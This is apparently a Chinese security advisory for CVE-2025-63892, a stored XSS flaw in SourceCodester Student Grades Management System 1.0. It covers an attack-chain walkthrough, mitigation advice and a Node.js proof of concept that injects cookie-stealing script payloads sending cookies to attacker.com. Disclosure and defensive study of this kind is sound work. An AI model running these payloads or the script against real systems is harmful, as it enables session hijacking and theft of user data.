IPBUF安全漏洞报告
English
CVE-2025-63892 CVSS 6.8 中危

CVE-2025-63892: SourceCodester Student Grades Management System 存储型XSS漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-63892
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester Student Grades Management System 1.0

相关标签

存储型XSS跨站脚本攻击SourceCodesterStudent Grades Management SystemCVE-2025-63892Web应用安全身份认证绕过风险会话劫持

漏洞概述

CVE-2025-63892是SourceCodester Student Grades Management System 1.0版本中的一个存储型跨站脚本攻击(XSS)漏洞。该漏洞存在于/classroom.php文件中的create_classroom函数,攻击者可以通过name和description参数注入恶意JavaScript代码。由于该输入未经适当过滤直接存储在数据库中,当其他用户访问受影响的页面时,恶意脚本将在其浏览器上下文中执行。

存储型XSS是一种比反射型XSS更为严重的漏洞类型。攻击者只需进行一次注入,恶意payload将持久存在于服务器端,影响所有访问该功能的用户。攻击者可以利用此漏洞窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或在用户浏览器中执行任意操作。

该漏洞的CVSS评分为6.8,属于中等严重程度。虽然CVSS向量显示需要高权限(PR:H)和用户交互(UI:R),但一旦攻击成功,攻击者可获得对系统的高度访问权限,包括机密性、完整性和可用性的高影响。考虑到该系统是学生成绩管理系统,存储着敏感的学生信息,此漏洞的潜在危害更为严重。

系统管理员应及时关注此漏洞的修复进展,并在修复前采取相应的防护措施,避免恶意脚本的注入和传播。

技术细节

漏洞位于SourceCodester Student Grades Management System的/classroom.php文件,具体是create_classroom函数中的name和description参数。攻击者构造恶意payload时,这些参数值未经充分的输入验证和输出编码即被存储到数据库中。

漏洞利用过程如下:

1. 攻击者以高权限用户身份登录系统
2. 访问My Classrooms Management页面
3. 在创建教室功能中,构造包含恶意JavaScript代码的name或description参数
4. 提交表单,恶意代码被存储到数据库
5. 当其他用户查看教室列表或详情页面时,存储的恶意脚本被执行

例如,攻击者可在name或description字段中注入:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

此payload会在受害者访问页面时自动执行,将用户的cookie信息发送到攻击者控制的服务器。由于会话cookie被盗,攻击者可以劫持用户会话并冒充合法用户进行操作。

防御建议:在服务端对所有用户输入进行严格的输入验证,使用HTML实体编码进行输出转义,实施内容安全策略(CSP),并对敏感操作使用CSRF Token。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标系统为SourceCodester Student Grades Management System 1.0,确认/classroom.php端点存在
STEP 2
身份认证
攻击者获取系统高权限账户或通过其他方式获得管理员访问权限
STEP 3
Payload构造
攻击者构造恶意JavaScript代码作为XSS payload,可用于窃取cookie、劫持会话或进行钓鱼攻击
STEP 4
漏洞注入
通过create_classroom函数的name或description参数注入恶意payload,数据未经过滤存储到数据库
STEP 5
触发阶段
当其他用户访问教室管理页面时,存储的恶意脚本在其浏览器中自动执行
STEP 6
数据窃取/会话劫持
恶意脚本窃取用户会话cookie并发送到攻击者服务器,攻击者利用窃取的凭证进行后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-63892 PoC - Stored XSS in SourceCodester Student Grades Management System // Target: /classroom.php - create_classroom function const axios = require('axios'); const cheerio = require('cheerio'); async function exploit(targetUrl, username, password) { const session = axios.create({ baseURL: targetUrl }); try { // Step 1: Login to obtain authenticated session const loginPage = await session.get('/login.php'); const $ = cheerio.load(loginPage.data); const csrfToken = $('input[name="csrf_token"]').val(); await session.post('/login.php', { csrf_token: csrfToken, username: username, password: password }); console.log('[+] Login successful'); // Step 2: Get CSRF token for classroom creation const classroomPage = await session.get('/classroom.php'); const $classroom = cheerio.load(classroomPage.data); const classroomCsrfToken = $classroom('input[name="csrf_token"]').val(); // Step 3: Inject stored XSS payload in name/description const xssPayload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>'; await session.post('/classroom.php', { csrf_token: classroomCsrfToken, action: 'create_classroom', name: xssPayload, description: xssPayload }); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when users view the classroom'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } } // Usage: node poc.js <target_url> <username> <password> exploit(process.argv[2], process.argv[3], process.argv[4]);

影响范围

SourceCodester Student Grades Management System 1.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制创建教室功能的访问权限,仅允许必要的管理员操作;2)部署Web应用防火墙规则检测和拦截恶意Script标签;3)对现有数据库中的教室记录进行清理,移除可疑内容;4)实施严格的输入验证规则,拒绝包含HTML标签和JavaScript关键字的输入;5)启用浏览器的XSS过滤器功能;6)监控应用日志,及时发现异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表